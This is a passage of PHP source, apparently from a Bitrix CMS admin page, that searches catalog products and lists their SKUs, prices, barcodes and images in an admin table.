							if (!empty($arOffer["DISPLAY_PROPERTIES"][$arCode["CODE"]]['LINK_ELEMENT_VALUE']))
							{
								$mxValues = array();
								foreach ($arOffer["DISPLAY_PROPERTIES"][$arCode["CODE"]]['LINK_ELEMENT_VALUE'] as $arTempo)
									$mxValues[] = $arTempo['NAME'].' ['.$arTempo['ID'].']';
							}
						}
						elseif ('G' == $arOffer["DISPLAY_PROPERTIES"][$arCode["CODE"]]['PROPERTY_TYPE'])
						{
							if (!empty($arOffer["DISPLAY_PROPERTIES"][$arCode["CODE"]]['LINK_SECTION_VALUE']))
							{
								$mxValues = array();
								foreach ($arOffer["DISPLAY_PROPERTIES"][$arCode["CODE"]]['LINK_SECTION_VALUE'] as $arTempo)
									$mxValues[] = $arTempo['NAME'].' ['.$arTempo['ID'].']';
							}
						}
						if (empty($mxValues))
						{
							$mxValues = $arOffer["DISPLAY_PROPERTIES"][$arCode["CODE"]]["DISPLAY_VALUE"];
						}
						$arSkuTmp[] = strip_tags(is_array($mxValues) ? implode("/ ", $mxValues) : $mxValues);
					}
					else
					{
						$arSkuTmp[] = '';
					}
				}
			}

			if(!empty($arCatalogProduct))
			{
				$arSkuTmp["BALANCE"] = $arCatalogProduct["QUANTITY"];
				$arSkuTmp["WEIGHT"] = $arCatalogProduct["WEIGHT"];
				$arSkuTmp["BARCODE_MULTI"] = $arCatalogProduct["BARCODE_MULTI"];
			}
			else
			{
				$arSkuTmp["BALANCE"] = 0;
				$arSkuTmp["WEIGHT"] = 0;
				$arSkuTmp["BARCODE_MULTI"] = 'N';
			}

			$arSkuTmp["USER_ID"] = $userId;
			$arSkuTmp["ID"] = $arOffer["ID"];
			$arSkuTmp["TYPE"] = $arOffer["CATALOG_TYPE"];
			$arSkuTmp["NAME"] = CUtil::JSEscape($arOffer["NAME"]);
			$arSkuTmp["PRODUCT_NAME"] = CUtil::JSEscape(htmlspecialcharsbx($productName));
			$arSkuTmp["PRODUCT_ID"] = $productId;
			$arSkuTmp["LID"] = CUtil::JSEscape($lid);
			$arSkuTmp["CAN_BUY"] = $arOffer["CAN_BUY"];
			$arSkuTmp["ACTIVE"] = $active;
			$arSkuTmp["EXTERNAL_ID"] = $arOffer['EXTERNAL_ID'];

			$arSku[] = $arSkuTmp;
		}
		if((!is_array($arIblockOfferProps) || empty($arIblockOfferProps)) && is_array($arSku) && !empty($arSku))
		{
			$arIblockOfferProps[0] = array("CODE" => "TITLE", "NAME" => GetMessage("SKU_TITLE"));
			foreach($arSku as $key => $val)
				$arSku[$key][0] = $val["NAME"];
		}

		$arResult["SKU_ELEMENTS"] = $arSku;
		$arResult["SKU_PROPERTIES"] = $arIblockOfferProps;
		$arResult["OFFERS_IBLOCK_ID"] = $arOffersIblock[$arProduct["IBLOCK_ID"]];
	}

	return $arResult;
}

/**
 * @param $name
 * @param $property_fields
 * @param $values
 * @return bool|string
 */
function _ShowGroupPropertyFieldList($name, $property_fields, $values)
{
	if(!is_array($values)) $values = Array();

	static $linkIblockId;
	static $sections = null;
	$res = "";
	$result = "";
	$bWas = false;

	$ttl = 10000;
	$cache_id = 'catalog_store_sections';
	$obCache = new CPHPCache;
	$cache_dir = '/bx/catalog_store_sections';

	if(!$linkIblockId || ($property_fields["LINK_IBLOCK_ID"] != $linkIblockId))
	{
		$linkIblockId = $property_fields["LINK_IBLOCK_ID"];

		if(intval($linkIblockId) <= 0)
			return false;

		$obCache->Clean($cache_id, $cache_dir);
	}

	if($obCache->InitCache($ttl, $cache_id, $cache_dir))
		$res = $obCache->GetVars();
	else
	{
		if($sections === null)
			$sections = CIBlockSection::GetTreeList(Array("IBLOCK_ID" => $linkIblockId));
		while($ar = $sections->GetNext())
		{
			$res .= '<option value="'.$ar["ID"].'"';
			if(in_array($ar["ID"], $values))
			{
				$bWas = true;
				$res .= ' selected';
			}
			$res .= '>'.str_repeat(" . ", $ar["DEPTH_LEVEL"]).$ar["NAME"].'</option>';
		}
		if($obCache->StartDataCache())
			$obCache->EndDataCache($res);
	}


	$result .= '<select name="'.$name.'[]" size="'.($property_fields["MULTIPLE"]=="Y" ? "5":"1").'" '.($property_fields["MULTIPLE"]=="Y"?"multiple":"").'>';
	$result .= '<option value=""'.(!$bWas?' selected':'').'>'.GetMessage("SPS_A_PROP_NOT_SET").'</option>';
	$result .= $res;
	$result .= '</select>';
	return $result;
}

/**
 * @param $ID
 * @return mixed
 */
function GetElementName($ID)
{
	$ID = (int)$ID;
	if ($ID <= 0)
		return false;
	static $cache = array();
	if (!isset($cache[$ID]))
	{
		$rsElement = CIBlockElement::GetList(array(), array("ID" => $ID, "SHOW_HISTORY" => "Y"), false, false, array("ID","IBLOCK_ID","NAME"));
		$cache[$ID] = $rsElement->GetNext();
	}
	return $cache[$ID];
}
function GetSectionName($ID)
{
	$ID = (int)$ID;
	if ($ID <= 0)
		return false;
	static $cache = array();
	if (!isset($cache[$ID]))
	{
		$rsSection = CIBlockSection::GetList(array(), array("ID"=>$ID), false, array("ID","IBLOCK_ID","NAME"));
		$cache[$ID] = $rsSection->GetNext();
	}
	return $cache[$ID];
}

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_REQUEST["BARCODE_AJAX"]) && $_REQUEST["BARCODE_AJAX"] === 'Y' && check_bitrix_sessid())
{
	CUtil::JSPostUnescape();
	$barcode = (isset($_REQUEST["BARCODE"])) ? htmlspecialcharsbx($_REQUEST["BARCODE"]) : "";
	$arBarCode = array();
	$arElement = array();
	$elementId = 0;

	if(strlen($barcode) > 0)
	{
		$rsBarCode = CCatalogStoreBarCode::getList(array(), array("BARCODE" => $barcode), false, false, array('PRODUCT_ID'));
		$arBarCode = $rsBarCode->Fetch();
	}

	if(isset($arBarCode["PRODUCT_ID"]))
	{
		$elementId = intval($arBarCode["PRODUCT_ID"]);
	}

	if($elementId > 0)
	{
		$dbResultList = CCatalogProduct::getList(array(), array('ID' => $elementId), false,	false, array('TYPE'));
		$arItems = $dbResultList->Fetch();
		$arParams = array("id" => $elementId, "barcode" => $barcode);
		if(isset($arItems["TYPE"]))
			$arParams['type'] = $arItems["TYPE"];
		$result = CUtil::PhpToJSObject($arParams);
		echo $result;
	}
	exit;
}

CModule::IncludeModule('fileman');
$minImageSize = array("W" => 1, "H"=>1);
$maxImageSize = array(
	"W" => COption::GetOptionString("iblock", "list_image_size"),
	"H" => COption::GetOptionString("iblock", "list_image_size"),
);

$adminMenu = new CCatalogMenu();
$adminMenu->Init('iblock');

$addDefault = "Y";

$iblockId = intval($_REQUEST["IBLOCK_ID"]);

$lid = (isset($_REQUEST['LID']) ? (string)$_REQUEST['LID'] : '');

$func_name = preg_replace("/[^a-zA-Z0-9_\-\.]/is", "", $_REQUEST["func_name"]);
$caller = (isset($_REQUEST['caller']) ? (string)$_REQUEST['caller'] : '');
$buyerId = intval($USER->GetID());
$sTableID = "tbl_product_search";
if($caller)
{
	if(!isset($_REQUEST["set_filter"]))
	{
		$addURLParam = "&set_filter=Y";
		if(!isset($_REQUEST["IBLOCK_ID"]))
		{
			$addURLParam .= CUserOptions::getOption("catalog", "product_search_".$caller, "", $buyerId);
			LocalRedirect($GLOBALS['APPLICATION']->GetCurPageParam().$addURLParam);
		}
	}

	$addURLParam = CUserOptions::getOption("catalog", "product_search_storeDocs", "", $userId);
	$sTableID .= '_'.$caller;
}

$oSort = new CAdminSorting($sTableID, "ID", "asc");
$lAdmin = new CAdminList($sTableID, $oSort);

$dbIBlock = CIBlock::GetByID($iblockId);
if(!($arIBlock = $dbIBlock->Fetch()))
{
	$arFilterTmp = array("MIN_PERMISSION" => "R");

	if($lid !== '')
		$arFilterTmp["LID"] = $lid;

	$arCatalogFilter = array();
	if ($boolSubscribe)
		$arCatalogFilter['SUBSCRIPTION'] = 'Y';

	$dbItem = CCatalog::GetList(
		array(),
		$arCatalogFilter,
		false,
		false,
		array('IBLOCK_ID', 'PRODUCT_IBLOCK_ID', 'SKU_PROPERTY_ID')
	);
	while($arItems = $dbItem->Fetch())
		$arFilterTmp["ID"][] = $arItems["IBLOCK_ID"];

	foreach(GetModuleEvents("sale", "OnProductSearchFormIBlock", true) as $arEvent)
	{
		$arFilterTmp = ExecuteModuleEventEx($arEvent, array($arFilterTmp));
	}

	$arFilterTmp['ACTIVE'] = 'Y';

	$dbIBlock = CIBlock::GetList(Array("ID" => "ASC"), $arFilterTmp);
	if($arIBlock = $dbIBlock->Fetch())
		$iblockId = intval($arIBlock["ID"]);
	else
	{
		unset($arFilterTmp["LID"]);
		$dbIBlock = CIBlock::GetList(Array("ID" => "ASC"), $arFilterTmp);
		if($arIBlock = $dbIBlock->Fetch())
			$iblockId = intval($arIBlock["ID"]);
	}
}

$bBadBlock = !CIBlockRights::UserHasRightTo($iblockId, $iblockId, "element_read");

$arBuyerGroups = CUser::GetUserGroup($buyerId);

$storeFromId = intval($_REQUEST["STORE_FROM_ID"]);

$QUANTITY = intval($QUANTITY);
if($QUANTITY <= 0)
	$QUANTITY = 1;

if(!$bBadBlock)
{
	$arFilterFields = array(
		"IBLOCK_ID",
		"filter_section",
		"filter_subsections",
		"filter_id_start",
		"filter_id_end",
		"filter_timestamp_from",
		"filter_timestamp_to",
		"filter_active",
		"filter_intext",
		"filter_product_name",
		"filter_xml_id",
		"filter_code"
	);
	$lAdmin->InitFilter($arFilterFields);

	if($iblockId <= 0)
	{
		$dbItem = CCatalog::GetList(array(), array("IBLOCK_TYPE_ID" => "catalog"));
		$arItems = $dbItem->Fetch();
		$iblockId = intval($arItems["ID"]);
	}

	//filter props
	$dbrFProps = CIBlockProperty::GetList(
		array(
			"SORT" => "ASC",
			"NAME" => "ASC"
		),
		array(
			"IBLOCK_ID" => $iblockId,
			"ACTIVE" => "Y",
			"FILTRABLE" => "Y",
			"!PROPERTY_TYPE" => "F",
			"CHECK_PERMISSIONS" => "N",
		)
	);

	$arProps = $arPrices = array();
	while ($arProp = $dbrFProps->GetNext())
	{
		$arProp["PROPERTY_USER_TYPE"] = (!empty($arProp["USER_TYPE"]) ? CIBlockProperty::GetUserType($arProp["USER_TYPE"]) : array());
		$arProps[] = $arProp;
	}

	//filter sku props
	$arSKUProps = array();
	$arCatalog = CCatalogSKU::GetInfoByProductIBlock($iblockId);

	if (!empty($arCatalog))
	{
		$dbrFProps = CIBlockProperty::GetList(
			array(
				"SORT" => "ASC",
				"NAME" => "ASC"
			),
			array(
				"IBLOCK_ID" => $arCatalog["IBLOCK_ID"],
				"ACTIVE" => "Y",
				"FILTRABLE" => "Y",
				"!PROPERTY_TYPE" => "F",
				"CHECK_PERMISSIONS" => "N",
			)
		);

		while($arProp = $dbrFProps->GetNext())
		{
			if($arCatalog['SKU_PROPERTY_ID'] == $arProp['ID'])
				continue;
			$arProp["PROPERTY_USER_TYPE"] = (!empty($arProp["USER_TYPE"]) ? CIBlockProperty::GetUserType($arProp["USER_TYPE"]) : array());
			$arSKUProps[] = $arProp;
		}
	}

	$arFilter = array(
		"IBLOCK_ID" => $iblockId,
		"SECTION_ID" => $_REQUEST['filter_section'],
		"ACTIVE" => ($orderForm ? "Y" : $_REQUEST['filter_active']),
		"WF_PARENT_ELEMENT_ID" => false,
	);
	if('' != trim($_REQUEST['filter_product_name']))
		$arFilter["%NAME"] = $_REQUEST['filter_product_name'];
	if('' != trim($_REQUEST['filter_intext']))
		$arFilter["%SEARCHABLE_CONTENT"] = $_REQUEST['filter_intext'];
	$arFilter["SHOW_NEW"] = "Y";

	if(!empty($arProps))
	{
		foreach($arProps as $arProp)
		{
			$value = ${"filter_el_property_".$arProp["ID"]};

			if(array_key_exists("AddFilterFields", $arProp["PROPERTY_USER_TYPE"]))
			{
				call_user_func_array($arProp["PROPERTY_USER_TYPE"]["AddFilterFields"], array(
					$arProp,
					array("VALUE" => "filter_el_property_".$arProp["ID"]),
					&$arFilter,
					&$filtered,
				));
			}
			elseif(is_array($value) || strlen($value))
			{
				if($value === "NOT_REF")
					$value = false;
				$arFilter["?PROPERTY_".$arProp["ID"]] = $value;
			}
		}
	}

	if(!empty($arSKUProps))
	{
		$arSubQuery = array("IBLOCK_ID" => $arCatalog['IBLOCK_ID']);

		for($i = 0, $intPropCount = count($arSKUProps); $i < $intPropCount; $i++)
		{
			if(('Y' == $arSKUProps[$i]["FILTRABLE"]) && ('F' != $arSKUProps[$i]["PROPERTY_TYPE"]) && ($arCatalog['SKU_PROPERTY_ID'] != $arSKUProps[$i]["ID"]))
			{
				if(array_key_exists("AddFilterFields", $arSKUProps[$i]["PROPERTY_USER_TYPE"]))
				{
					call_user_func_array($arSKUProps[$i]["PROPERTY_USER_TYPE"]["AddFilterFields"], array(
						$arSKUProps[$i],
						array("VALUE" => "filter_sub_el_property_".$arSKUProps[$i]["ID"]),
						&$arSubQuery,
						&$filtered,
					));
				}
				else
				{
					$value = ${"filter_sub_el_property_".$arSKUProps[$i]["ID"]};
					if(strlen($value) || is_array($value))
					{
						if($value === "NOT_REF")
							$value = false;
						$arSubQuery["?PROPERTY_".$arSKUProps[$i]["ID"]] = $value;
					}
				}
			}
		}
	}

	if(!empty($arSKUProps) && sizeof($arSubQuery) > 1)
	{
		$arFilter['ID'] = CIBlockElement::SubQuery('PROPERTY_'.$arCatalog['SKU_PROPERTY_ID'], $arSubQuery);
	}

	if(intval($_REQUEST['filter_section']) < 0 || strlen($_REQUEST['filter_section']) <= 0)
		unset($arFilter["SECTION_ID"]);
	elseif($_REQUEST['filter_subsections'] == "Y")
	{
		if($arFilter["SECTION_ID"]==0)
			unset($arFilter["SECTION_ID"]);
		else
			$arFilter["INCLUDE_SUBSECTIONS"] = "Y";
	}

	if(!empty($_REQUEST["filter_id_start"])) $arFilter[">=ID"] = $_REQUEST["filter_id_start"];
	if(!empty($_REQUEST["filter_id_end"])) $arFilter["<=ID"] = $_REQUEST["filter_id_end"];
	if(!empty($_REQUEST["filter_timestamp_from"])) $arFilter["DATE_MODIFY_FROM"] = $_REQUEST["filter_timestamp_from"];
	if(!empty($_REQUEST["filter_timestamp_to"])) $arFilter["DATE_MODIFY_TO"] = $_REQUEST["filter_timestamp_to"];
	if(!empty($_REQUEST["filter_xml_id"])) $arFilter["XML_ID"] = $_REQUEST["filter_xml_id"];
	if(!empty($_REQUEST["filter_code"])) $arFilter["CODE"] = $_REQUEST["filter_code"];

	//select subsection
	if($arFilter["SECTION_ID"] > 0)
		$arFilter["INCLUDE_SUBSECTIONS"] = "Y";

	$arNavParams = array("nPageSize" => CAdminResult::GetNavSize($sTableID));

	$dbResultList = CIBlockElement::GetList(
		array($_REQUEST["by"] => $_REQUEST["order"]),
		$arFilter,
		false,
		$arNavParams
	);

	$dbResultList = new CAdminResult($dbResultList, $sTableID);
	$dbResultList->NavStart();

	$lAdmin->NavText($dbResultList->GetNavPrint(GetMessage("sale_prod_search_nav")));
	$balanceTitle = ($storeFromId > 0) ? GetMessage("SOPS_BALANCE") : GetMessage("SOPS_BALANCE2");
	$arHeaders = array(
		array("id" => "ID", "content" => "ID", "sort" => "id", "default" => true),
		array("id" => "ACTIVE", "content" => GetMessage("SOPS_ACTIVE"), "sort" => "ACTIVE", "default" => true),
		array("id" => "DETAIL_PICTURE", "default" => true, "content" => GetMessage("SPS_FIELD_DETAIL_PICTURE"), "align" => "center"),
		array("id" => "NAME", "content" => GetMessage("SPS_NAME"), "sort" => "name", "default" => true),
		array("id" => "QUANTITY", "content" => GetMessage("SOPS_QUANTITY"), "default" => true),
		array("id" => "BALANCE", "content" => $balanceTitle, "sort" => "", "default" => true, "align" => "right"),
	);
	$arHeaders[] = array("id" => "CODE", "content" => GetMessage("SPS_FIELD_CODE"), "sort" => "code");
	$arHeaders[] = array("id" => "EXTERNAL_ID", "content" => GetMessage("SPS_FIELD_XML_ID"), "sort" => "external_id");
	$arHeaders[] = array("id" => "SHOW_COUNTER", "content" => GetMessage("SPS_FIELD_SHOW_COUNTER"), "sort" => "show_counter", "align" => "right");
	$arHeaders[] = array("id" => "SHOW_COUNTER_START", "content" => GetMessage("SPS_FIELD_SHOW_COUNTER_START"), "sort" => "show_counter_start", "align" => "right");
	$arHeaders[] = array("id" => "PREVIEW_PICTURE", "content" => GetMessage("SPS_FIELD_PREVIEW_PICTURE"), "align" => "right");
	$arHeaders[] = array("id" => "PREVIEW_TEXT", "content" => GetMessage("SPS_FIELD_PREVIEW_TEXT"));
	$arHeaders[] = array("id" => "DETAIL_TEXT", "content" => GetMessage("SPS_FIELD_DETAIL_TEXT"));
	foreach($arProps as $prop)
	{
		$arHeaders[] = array("id" => "PROPERTY_".$prop['ID'], "content" => $prop['NAME'], "align" => ($prop["PROPERTY_TYPE"] == 'N'?"right":"left"), "sort" => ($prop["MULTIPLE"] != 'Y'? "PROPERTY_".$prop['ID'] : ""));
	}

	$rsPrice = CCatalogGroup::GetListEx(array("SORT"=>"ASC"), array(), false, false, array("ID", "NAME", "NAME_LANG", "BASE"));
	while($price = $rsPrice->Fetch())
	{
		$arPrices[] = $price;
		$arHeaders[] = array("id" => "PRICE".$price["ID"], "content" => htmlspecialcharsex(!empty($price["NAME_LANG"]) ? $price["NAME_LANG"] : $price["NAME"]), "default" => ($price["BASE"] == 'Y') ? true : false,);
	}
	$arHeaders[] = array("id" => "ACT", "content" => GetMessage("SPS_FIELD_ACTION"), "default" => true);

	$lAdmin->AddHeaders($arHeaders);

	$arSelectedFields = $lAdmin->GetVisibleHeaderColumns();
	if(!in_array('ACT', $arSelectedFields))
		$arSelectedFields[] = 'ACT';

	$arSelectedProps = array();
	foreach($arProps as $prop)
	{
		if($key = array_search("PROPERTY_".$prop['ID'], $arSelectedFields))
		{
			$arSelectedProps[] = $prop;
			$arSelect[$prop['ID']] = Array();
			$props = CIBlockProperty::GetPropertyEnum($prop['ID']);
			while($res = $props->Fetch())
				$arSelect[$prop['ID']][$res["ID"]] = $res["VALUE"];
			unset($arSelectedFields[$key]);
		}
	}

	if(!in_array("ID", $arSelectedFields))
		$arSelectedFields[] = "ID";

	$arSelectedFields[] = "LANG_DIR";
	$arSelectedFields[] = "LID";
	$arSelectedFields[] = "WF_PARENT_ELEMENT_ID";
	$arSelectedFields[] = "ACT";

	if(in_array("LOCKED_USER_NAME", $arSelectedFields))
		$arSelectedFields[] = "WF_LOCKED_BY";
	if(in_array("USER_NAME", $arSelectedFields))
		$arSelectedFields[] = "MODIFIED_BY";
	if(in_array("CREATED_USER_NAME", $arSelectedFields))
		$arSelectedFields[] = "CREATED_BY";
	if(in_array("PREVIEW_TEXT", $arSelectedFields))
		$arSelectedFields[] = "PREVIEW_TEXT_TYPE";
	if(in_array("DETAIL_TEXT", $arSelectedFields))
		$arSelectedFields[] = "DETAIL_TEXT_TYPE";

	$arSelectedFields[] = "LOCK_STATUS";
	$arSelectedFields[] = "WF_NEW";
	$arSelectedFields[] = "WF_STATUS_ID";
	$arSelectedFields[] = "DETAIL_PAGE_URL";
	$arSelectedFields[] = "SITE_ID";
	$arSelectedFields[] = "CODE";
	$arSelectedFields[] = "EXTERNAL_ID";
	$arSelectedFields[] = "NAME";
	$arSelectedFields[] = "XML_ID";
	$arSelectedFields[] = "IBLOCK_ID";

	$arDiscountCoupons = array();

	$arSku = array();
	$OfferIblockId = "";

	CCatalogDiscountSave::Disable();
	$arCatalogProductResult = array();
	$arPricesResult = array();
	$arCatalogProduct = $arItemsResult = $arPricesResult = array();
	while($arItems = $dbResultList->Fetch())
	{
		$arCatalogProduct[] = $arItems["ID"];
		$arItems['DETAIL_PAGE_URL'] = CIBlock::ReplaceDetailUrl($arItems['DETAIL_PAGE_URL'], $arItems, false, "E");
		$arItemsResult[$arItems['ID']] = $arItems;
	}

	if (!empty($arCatalogProduct))
	{
		foreach($arPrices as $price)
		{
			$dbPrice = CPrice::GetList(array(), array('PRODUCT_ID' => $arCatalogProduct, 'CATALOG_GROUP_ID' => $price['ID']), false, false, array('PRODUCT_ID', 'PRICE'));
			while($arPrice = $dbPrice->fetch())
			{
				$arPricesResult[$price['ID']][$arPrice["PRODUCT_ID"]] = $arPrice["PRICE"];
			}
		}

		$dbCatalogProduct = CCatalogProduct::GetList(array(), array("ID" => $arCatalogProduct));
		while($oneProduct = $dbCatalogProduct->fetch())
			$arCatalogProductResult[$oneProduct["ID"]] = $oneProduct;
		$existSku = CCatalogSKU::getExistOffers($arCatalogProduct);
		foreach ($existSku as $productID => $existOffers)
		{
			if (isset($arCatalogProductResult[$productID]))
				$arCatalogProductResult[$productID] = array();
			$arCatalogProductResult[$productID]['EXIST_SKU'] = $existOffers;
		}
		unset($existOffers, $productID, $existSku);
	}

	foreach($arItemsResult as $productId => $arItems)
	{
		$arCatalogProduct = array(
			'EXIST_SKU' => false
		);
		if (isset($arCatalogProductResult[$productId]))
			$arCatalogProduct = $arCatalogProductResult[$productId];
		//only for store documents skip sets
		if ($caller == "storeDocs" && isset($arCatalogProduct["TYPE"]) && $arCatalogProduct["TYPE"] == CCatalogProduct::TYPE_SET)
			continue;
		$row = &$lAdmin->AddRow($arItems["ID"], $arItems);
		$isProductExistSKU = false;
		if (!$boolSubscribe)
			$isProductExistSKU = $arCatalogProduct['EXIST_SKU'];
		$arResult = array();
		if ($isProductExistSKU)
		{
			$arResult = GetProductSku($buyerId, $lid, $arItems["ID"], $arItems["NAME"], '', $arItems);
			$arSKUId = $arSKUPricesResult = array();
			if (isset($arResult["SKU_ELEMENTS"]) && !empty($arResult["SKU_ELEMENTS"]) && is_array($arResult["SKU_ELEMENTS"]))
			{
				foreach($arResult["SKU_ELEMENTS"] as $sku)
					$arSKUId[] = $sku["ID"];
			}

			foreach($arPrices as $price)
			{
				$dbPrice = CPrice::getList(array(), array('PRODUCT_ID' => $arSKUId, 'CATALOG_GROUP_ID' => $price['ID']), false, false, array('PRODUCT_ID', 'PRICE'));
				while($arPrice = $dbPrice->fetch())
				{
					$arSKUPricesResult[$price['ID']][$arPrice["PRODUCT_ID"]] = $arPrice["PRICE"];
				}
			}

			$active = ($arItems["ACTIVE"] == 'Y' ? GetMEssage('SPS_PRODUCT_ACTIVE') : GetMEssage('SPS_PRODUCT_NO_ACTIVE'));
			if (!empty($arResult["SKU_ELEMENTS"]))
			{
				$OfferIblockId = $arResult["OFFERS_IBLOCK_ID"];
				$row->AddField("ACTIVE", $active);
				$row->AddField("ACT", '<input type="button" onclick="fShowSku(this, '.CUtil::PhpToJSObject($arResult["SKU_ELEMENTS"]).');" name="btn_show_sku_'.$arItems["ID"].'" value="'.GetMessage("SPS_SKU_SHOW").'">');
				$row->AddViewField("PREVIEW_PICTURE", CFileInput::Show('NO_FIELDS['.$arItems['ID'].'][PREVIEW_PICTURE]', $arItems['PREVIEW_PICTURE'], array(
					"IMAGE" => "Y",
					"PATH" => "Y",
					"FILE_SIZE" => "Y",
					"DIMENSIONS" => "Y",
					"IMAGE_POPUP" => "Y",
					"MAX_SIZE" => $maxImageSize,
					"MIN_SIZE" => $minImageSize,
				), array(
					'upload' => false,
					'medialib' => false,
					'file_dialog' => false,
					'cloud' => false,
					'del' => false,
					'description' => false,
				)));
				$row->AddViewField("DETAIL_PICTURE", CFileInput::Show('NO_FIELDS['.$arItems['ID'].'][DETAIL_PICTURE]', $arItems['DETAIL_PICTURE'], array(
					"IMAGE" => "Y",
					"PATH" => "Y",
					"FILE_SIZE" => "Y",
					"DIMENSIONS" => "Y",
					"IMAGE_POPUP" => "Y",
					"MAX_SIZE" => $maxImageSize,
					"MIN_SIZE" => $minImageSize,
				), array(
					'upload' => false,
					'medialib' => false,
					'file_dialog' => false,
					'cloud' => false,
					'del' => false,
					'description' => false,
				)));
				$arProperties = array();
				if(!empty($arSelectedProps))
				{
					$rsProperties = CIBlockElement::GetProperty($iblockId, $arItems["ID"]);
					while($ar = $rsProperties->Fetch())
					{
						if(!array_key_exists($ar["ID"], $arProperties))
							$arProperties[$ar["ID"]] = array();
						if($ar["PROPERTY_TYPE"] === "L")
							$arProperties[$ar["ID"]][$ar["PROPERTY_VALUE_ID"]] = $ar["VALUE_ENUM"];
						else
							$arProperties[$ar["ID"]][$ar["PROPERTY_VALUE_ID"]] = $ar["VALUE"];
					}
				}
				foreach($arSelectedProps as $aProp)
				{
					$v = '';
					foreach($arProperties[$aProp['ID']] as $property_value_id => $property_value)
					{
						$res = '';
						if($aProp['PROPERTY_TYPE'] == 'F')
							$res = CFileInput::Show('NO_FIELDS['.$property_value_id.']', $property_value, array(
									"IMAGE" => "Y",
									"PATH" => "Y",
									"FILE_SIZE" => "Y",
									"DIMENSIONS" => "Y",
									"IMAGE_POPUP" => "Y",
									"MAX_SIZE" => $maxImageSize,
									"MIN_SIZE" => $minImageSize,
								), array(
									'upload' => false,
									'medialib' => false,
									'file_dialog' => false,
									'cloud' => false,
									'del' => false,
									'description' => false,
								)
							);
						elseif($aProp['PROPERTY_TYPE'] == 'G')
						{
							$t = GetSectionName($property_value);
							if($t)
								$res = $t['NAME'].' [<a href="'.htmlspecialcharsbx(CIBlock::GetAdminSectionEditLink($t['IBLOCK_ID'], $t['ID'])).'" title="'.GetMessage("SPS_ELSEARCH_SECTION_EDIT").'">'.$t['ID'].'</a>]';
						}
						elseif($aProp['PROPERTY_TYPE'] == 'E')
						{
							$t = GetElementName($property_value);
							if($t)
							{
								$res = $t['NAME'].' [<a href="'.htmlspecialcharsbx(CIBlock::GetAdminElementEditLink($t['IBLOCK_ID'], $t['ID'])).'" title="'.GetMessage("SPS_ELSEARCH_ELEMENT_EDIT").'">'.$t['ID'].'</a>]';
							}
						}
						else
						{
							$res = htmlspecialcharsex($property_value);
						}

						if($res != "")
							$v .= ($v!=''?' / ':'').$res;
					}

					if($v != "")
						$row->AddViewField("PROPERTY_".$aProp['ID'], $v);
					unset($arSelectedProps[$aProp['ID']]["CACHE"]);
				}
				foreach($arResult["SKU_ELEMENTS"] as $val)
				{
					$skuProperty = "";
					$arSkuProperty = array();
					foreach($val as $kk => $vv)
					{
						if(is_int($kk) && strlen($vv) > 0)
						{
							if($skuProperty != "")
								$skuProperty .= " <br> ";
							$skuProperty .= '<span style="color: grey;">'.$arResult["SKU_PROPERTIES"][$kk]["NAME"].'</span>: '.$vv;
							$arSkuProperty[$arResult["SKU_PROPERTIES"][$kk]["NAME"]] = $vv;
						}
					}

					$arSku[] = $val["ID"];
					$row =& $lAdmin->AddRow($val["ID"], $val);
					$row->AddField("NAME", $skuProperty.'<input type="hidden" name="prd" id="sku-'.$val["ID"].'">');
					$row->AddViewField("DETAIL_PICTURE", CFileInput::Show('NO_FIELDS['.$val['ID'].'][DETAIL_PICTURE]', $val['DETAIL_PICTURE'], array(
						"IMAGE" => "Y",
						"PATH" => "Y",
						"FILE_SIZE" => "Y",
						"DIMENSIONS" => "Y",
						"IMAGE_POPUP" => "Y",
						"MAX_SIZE" => $maxImageSize,
						"MIN_SIZE" => $minImageSize,
					), array(
						'upload' => false,
						'medialib' => false,
						'file_dialog' => false,
						'cloud' => false,
						'del' => false,
						'description' => false,
					)));

					$row->AddField("ID", "&nbsp;&nbsp;".$arItems["ID"]."-".$val["ID"]);
					foreach($arPrices as $price)
					{
						$row->AddViewField("PRICE".$price['ID'], $arSKUPricesResult[$price['ID']][$val["ID"]]);
					}
					if($addDefault == "Y" || ($val["CAN_BUY"] == "Y" && $addDefault == "N"))
					{
						$arCatalogProduct["BARCODE"] = '';
						if($arCatalogProduct["BARCODE_MULTI"] == 'N')
						{
							$dbBarCodes = CCatalogStoreBarCode::getList(array(), array("PRODUCT_ID" => $val["ID"]));
							while($arBarCode = $dbBarCodes->Fetch())
							{
								$arCatalogProduct["BARCODE"][] = $arBarCode["BARCODE"];
							}
						}
						if(is_array($arCatalogProduct["BARCODE"]))
							$arCatalogProduct["BARCODE"] = implode(', ', $arCatalogProduct["BARCODE"]);

						$balance = FloatVal($val["BALANCE"]);

						$arParams = array();
						$arParams['id'] = $val["ID"];
						$arParams['type'] = $val["TYPE"];
						$arParams['quantity'] = CUtil::JSEscape($quantity);
						$arParams["barcode"] = CUtil::JSEscape($arCatalogProduct["BARCODE"]);

						$arParams = CUtil::PhpToJSObject($arParams);
						foreach(GetModuleEvents("sale", "OnProductSearchForm", true) as $arEvent)
						{
							$arParams = ExecuteModuleEventEx($arEvent, array($val["ID"], $arParams));
						}
						$arParams = "var el".$val["ID"]." = ".$arParams;

						$countField = '<input type="text" name="quantity_'.$val["ID"].'" id="quantity_'.$val["ID"].'" value="1" size="3" />';
						$active = GetMEssage('SPS_PRODUCT_ACTIVE');
						$act = '<script type="text/javascript">'.$arParams.'</script><input class="addBtn" type="button" onclick="SelEl(el'.$val["ID"].', '.$val["ID"].')" name="btn_select_'.$val["ID"].'" id="btn_select_'.$val["ID"].'" value="'.GetMessage("SPS_SELECT").'" />';
					}
					else
					{
						$countField = "&nbsp;";
						$balance = "&nbsp;";
						$active = GetMEssage('SPS_PRODUCT_NO_ACTIVE');
						$act = GetMessage("SPS_CAN_BUY_NOT_PRODUCT");
					}
					$active = ($val["ACTIVE"] == 'Y' ? GetMEssage('SPS_PRODUCT_ACTIVE') : GetMEssage('SPS_PRODUCT_NO_ACTIVE'));

					$row->AddField("ACT", $act);
					$row->AddField("QUANTITY", $countField);
					$row->AddField("BALANCE", $balance);
					$row->AddField("ACTIVE", $active);
				}
			}
			else
			{
				$row->AddField("ACTIVE", $active);
				$row->AddField("ACT", '<input class="addBtn" type="button" name="btn_show_sku_'.$arItems["ID"].'" value="'.GetMessage("SKU_EMPTY").'" title="'.GetMessage('SKU_EMPTY_TITLE').'">');
				$row->AddViewField("PREVIEW_PICTURE", CFileInput::Show('NO_FIELDS['.$arItems['ID'].'][PREVIEW_PICTURE]', $arItems['PREVIEW_PICTURE'], array(
					"IMAGE" => "Y",
					"PATH" => "Y",
					"FILE_SIZE" => "Y",
